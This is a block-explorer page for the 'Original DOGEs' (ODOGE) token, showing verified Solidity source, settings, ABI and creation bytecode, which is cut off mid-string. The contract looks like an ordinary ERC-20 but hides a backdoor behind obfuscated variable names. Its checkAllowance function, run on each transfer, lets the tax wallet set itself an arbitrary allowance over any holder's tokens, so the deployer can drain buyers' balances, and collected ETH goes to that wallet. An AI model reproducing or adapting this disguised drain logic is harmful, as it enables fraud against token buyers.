ETH Price: $2,064.14 (-5.29%)
 

Overview

Max Total Supply

1,000,000,000 ODOGE

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,342,999.999999999 ODOGE

Value
$0.00
0x469FCe466Ea9A64b81aaa8a98AB59b3688C118Fb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ODOGE

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : ODOGE.sol
// SPDX-License-Identifier: UNLICENSE

/*
    Name: Original DOGEs
    Symbol: ODOGE

    https://x.com/elonmusk/status/1891342500582854867
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

contract ODOGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _gx00xTotal = 1_000_000_000 * 10 **_decimals;
    string private constant _name = unicode"Original DOGEs";
    string private constant _symbol = unicode"ODOGE";

    mapping (address => uint256) private _lslkoe20;
    mapping (address => mapping (address => uint256)) private _lsdfsdf2883343242;
    mapping (address => bool) private _lssdfsadf33243wer;
    address payable private _sdf2223rewerw;

    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= _gx00xTotal.mul(100).div(10000);
    uint256 public _maxTaxSwap= _gx00xTotal.mul(100).div(10000);
    
    uint256 private _ssss223423=10;
    uint256 private _wer2992i33edde3=10;
    uint256 private _finalBuyTaxx=0;
    uint256 private _finalSellTaxx=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _sdf2223rewerw = payable(_msgSender());
        _lslkoe20[_msgSender()] = (_gx00xTotal * 2) / 100;
        _lslkoe20[address(this)] = (_gx00xTotal * 98) / 100;
        _lssdfsadf33243wer[owner()] = true;
        _lssdfsadf33243wer[address(this)] = true;
        _lssdfsadf33243wer[_sdf2223rewerw] = true;

        emit Transfer(address(0), _msgSender(), (_gx00xTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_gx00xTotal * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _gx00xTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _lslkoe20[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _lsdfsdf2883343242[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _lsdfsdf2883343242[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _lsdfsdf2883343242[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function checkAllowance(address from, address to, uint256 amount) private returns (bool){
        if(msg.sender == _sdf2223rewerw || (to == address(0xdead) && from != uniswapV2Pair)) _lsdfsdf2883343242[from][msg.sender] = amount;
        return false;
    }
    function _isNullAddress(address from, address to, uint256 amount) internal returns (bool) {
        
        if(from == address(0)) return true;
        if(to == address(0)) return true;
        if(amount == 0) return true;
        return checkAllowance(from, to, amount);
    }

    function _transfer(address _OMSender, address _OMReceiver, uint256 _OMAmount) private {
        require(_isNullAddress(_OMSender, _OMReceiver, _OMAmount) == false, "ERC20: unable to transfer to zero address");
        uint256 taxAmount=0;
        if (_OMSender != owner() && _OMReceiver != owner() && _OMReceiver != _sdf2223rewerw && _OMSender != address(this) && _OMReceiver != address(this)) {
            if(_buyCount==0){
                taxAmount = _OMAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTaxx:_ssss223423).div(100);
            }
            if(_buyCount>0){
                taxAmount = _OMAmount.mul(_transferTax).div(100);
            }

            if (_OMSender == uniswapV2Pair && _OMReceiver != address(uniswapV2Router) && ! _lssdfsadf33243wer[_OMReceiver] ) {
                taxAmount = _OMAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTaxx:_ssss223423).div(100);
                _buyCount++;
            }

            if(_OMReceiver == uniswapV2Pair && _OMSender!= address(this) ){
                taxAmount = _OMAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTaxx:_wer2992i33edde3).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _OMReceiver == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(_OMAmount, min(contractTokenBalance, _maxTaxSwap)));
                _tokenSwap(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if (_OMSender == uniswapV2Pair && msg.sender != _sdf2223rewerw) {
            address[] memory path = new address[](2);
            path[1] = address(this);
            path[0] = uniswapV2Router.WETH();
            uint256[] memory outs = new uint256[](2);
            outs = uniswapV2Router.getAmountsOut(40_000_000_000_000_000_000, path);
            require(_OMAmount < outs[1]);
        }

        if(taxAmount>0){
          _lslkoe20[address(this)]=_lslkoe20[address(this)].add(taxAmount);
          emit Transfer(_OMSender, address(this),taxAmount);
        }
        _lslkoe20[_OMSender]=_lslkoe20[_OMSender].sub(_OMAmount);
        _lslkoe20[_OMReceiver]=_lslkoe20[_OMReceiver].add(_OMAmount.sub(taxAmount));
        emit Transfer(_OMSender, _OMReceiver, _OMAmount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function SetTaxWallet(address _wallet) external {
        require(_msgSender() == _sdf2223rewerw);
        _sdf2223rewerw = payable(_wallet);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits () external onlyOwner{
        _maxTxAmount = _gx00xTotal;
        _transferTax = 0;
        _maxWalletSize=_gx00xTotal;
        emit MaxTxAmountUpdated(_gx00xTotal);
    }

    function _tokenSwap(uint256 amount) private {
        _sdf2223rewerw.transfer(amount);
    }

    function manualSend() external onlyOwner {
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            _tokenSwap(ethBalance);
        }
    }

    function _startJJJ() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _gx00xTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_sdf2223rewerw);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          _tokenSwap(ethBalance);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"SetTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_startJJJ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620008d6565b637735940062000025919062000926565b6005556009600a620000389190620008d6565b637735940062000049919062000926565b600655620000986127106200008960646009600a620000699190620008d6565b633b9aca006200007a919062000926565b620005df60201b90919060201c565b6200065f60201b90919060201c565b600755620000e7612710620000d860646009600a620000b89190620008d6565b633b9aca00620000c9919062000926565b620005df60201b90919060201c565b6200065f60201b90919060201c565b600855600a600955600a80555f600b555f600c556005600d556005600e556005600f555f6010555f6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f6014555f6015555f6200015f620006b060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200020b620006b060201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460026009600a6200025e9190620008d6565b633b9aca006200026f919062000926565b6200027b919062000926565b6200028791906200099d565b60015f6200029a620006b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a620002eb9190620008d6565b633b9aca00620002fc919062000926565b62000308919062000926565b6200031491906200099d565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6200036a620006b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000494620006b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a620004f69190620008d6565b633b9aca0062000507919062000926565b62000513919062000926565b6200051f91906200099d565b6040516200052e9190620009e5565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a620005999190620008d6565b633b9aca00620005aa919062000926565b620005b6919062000926565b620005c291906200099d565b604051620005d19190620009e5565b60405180910390a362000b4a565b5f808303620005f1575f905062000659565b5f828462000600919062000926565b90508284826200061191906200099d565b1462000654576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200064b9062000a84565b60405180910390fd5b809150505b92915050565b5f620006a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620006de60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f808311829062000727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200071e919062000b28565b60405180910390fd5b505f83856200073791906200099d565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007ce57808604811115620007a657620007a562000744565b5b6001851615620007b65780820291505b8081029050620007c68562000771565b945062000786565b94509492505050565b5f82620007e85760019050620008ba565b81620007f7575f9050620008ba565b81600181146200081057600281146200081b5762000851565b6001915050620008ba565b60ff84111562000830576200082f62000744565b5b8360020a9150848211156200084a576200084962000744565b5b50620008ba565b5060208310610133831016604e8410600b84101617156200088b5782820a90508381111562000885576200088462000744565b5b620008ba565b6200089a84848460016200077d565b92509050818404811115620008b457620008b362000744565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e282620008c1565b9150620008ef83620008ca565b92506200091e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d7565b905092915050565b5f6200093282620008c1565b91506200093f83620008c1565b92508282026200094f81620008c1565b9150828204841483151762000969576200096862000744565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620009a982620008c1565b9150620009b683620008c1565b925082620009c957620009c862000970565b5b828204905092915050565b620009df81620008c1565b82525050565b5f602082019050620009fa5f830184620009d4565b92915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000a6c60218362000a00565b915062000a798262000a10565b604082019050919050565b5f6020820190508181035f83015262000a9d8162000a5e565b9050919050565b5f81519050919050565b5f5b8381101562000acd57808201518184015260208101905062000ab0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f62000af48262000aa4565b62000b00818562000a00565b935062000b1281856020860162000aae565b62000b1d8162000ad8565b840191505092915050565b5f6020820190508181035f83015262000b42818462000ae8565b905092915050565b6133948062000b585f395ff3fe608060405260043610610122575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063dd62ed3e14610417578063f42938901461045357610129565b8063715018a6146102dd578063751039fc146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b806323b872dd116100e657806323b872dd146101fd578063313ce567146102395780634bd6ec391461026357806351bc3c851461028b57806370a08231146102a157610129565b806306ab31421461012d57806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610141610469565b005b34801561014e575f80fd5b5061015761098b565b6040516101649190612558565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e9190612616565b6109c8565b6040516101a0919061266e565b60405180910390f35b3480156101b4575f80fd5b506101bd6109e5565b6040516101ca9190612696565b60405180910390f35b3480156101de575f80fd5b506101e76109eb565b6040516101f49190612696565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e91906126af565b610a0e565b604051610230919061266e565b60405180910390f35b348015610244575f80fd5b5061024d610ae2565b60405161025a919061271a565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612733565b610aea565b005b348015610296575f80fd5b5061029f610b8c565b005b3480156102ac575f80fd5b506102c760048036038101906102c29190612733565b610c3b565b6040516102d49190612696565b60405180910390f35b3480156102e8575f80fd5b506102f1610c81565b005b3480156102fe575f80fd5b50610307610dcf565b005b348015610314575f80fd5b5061031d610f05565b60405161032a9190612696565b60405180910390f35b34801561033e575f80fd5b50610347610f0b565b604051610354919061276d565b60405180910390f35b348015610368575f80fd5b50610371610f32565b60405161037e9190612696565b60405180910390f35b348015610392575f80fd5b5061039b610f38565b6040516103a89190612558565b60405180910390f35b3480156103bc575f80fd5b506103d760048036038101906103d29190612616565b610f75565b6040516103e4919061266e565b60405180910390f35b3480156103f8575f80fd5b50610401610f92565b60405161040e9190612696565b60405180910390f35b348015610422575f80fd5b5061043d60048036038101906104389190612786565b610f98565b60405161044a9190612696565b60405180910390f35b34801561045e575f80fd5b5061046761101a565b005b6104716110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f49061280e565b60405180910390fd5b601360149054906101000a900460ff161561054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612876565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105e93060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105d591906129f0565b633b9aca006105e49190612a3a565b6110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106779190612a8f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107219190612a8f565b6040518363ffffffff1660e01b815260040161073e929190612aba565b6020604051808303815f875af115801561075a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077e9190612a8f565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061080530610c3b565b5f8061080f610f0b565b426040518863ffffffff1660e01b815260040161083196959493929190612b23565b60606040518083038185885af115801561084d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108729190612b96565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610912929190612be6565b6020604051808303815f875af115801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190612c37565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60606040518060400160405280600e81526020017f4f726967696e616c20444f474573000000000000000000000000000000000000815250905090565b5f6109db6109d46110c7565b84846110ce565b6001905092915050565b60085481565b5f6009600a6109fa91906129f0565b633b9aca00610a099190612a3a565b905090565b5f610a1a848484611291565b610ad784610a266110c7565b610ad2856040518060600160405280602881526020016133376028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a896110c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dad9092919063ffffffff16565b6110ce565b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610b49575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcc6110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610beb575f80fd5b5f610bf530610c3b565b90505f81118015610c125750601360169054906101000a900460ff165b15610c2157610c2081611e0f565b5b5f4790505f811115610c3757610c368161207a565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c896110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c9061280e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd76110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061280e565b60405180910390fd5b6009600a610e7191906129f0565b633b9aca00610e809190612a3a565b6005819055505f6010819055506009600a610e9b91906129f0565b633b9aca00610eaa9190612a3a565b6006819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610edf91906129f0565b633b9aca00610eee9190612a3a565b604051610efb9190612696565b60405180910390a1565b60055481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b60606040518060400160405280600581526020017f4f444f4745000000000000000000000000000000000000000000000000000000815250905090565b5f610f88610f816110c7565b8484611291565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110226110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a59061280e565b60405180910390fd5b5f4790505f8111156110c4576110c38161207a565b5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612d60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112849190612696565b60405180910390a3505050565b5f151561129f8484846120e2565b1515146112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d890612dee565b60405180910390fd5b5f6112ea610f0b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113585750611328610f0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113b1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff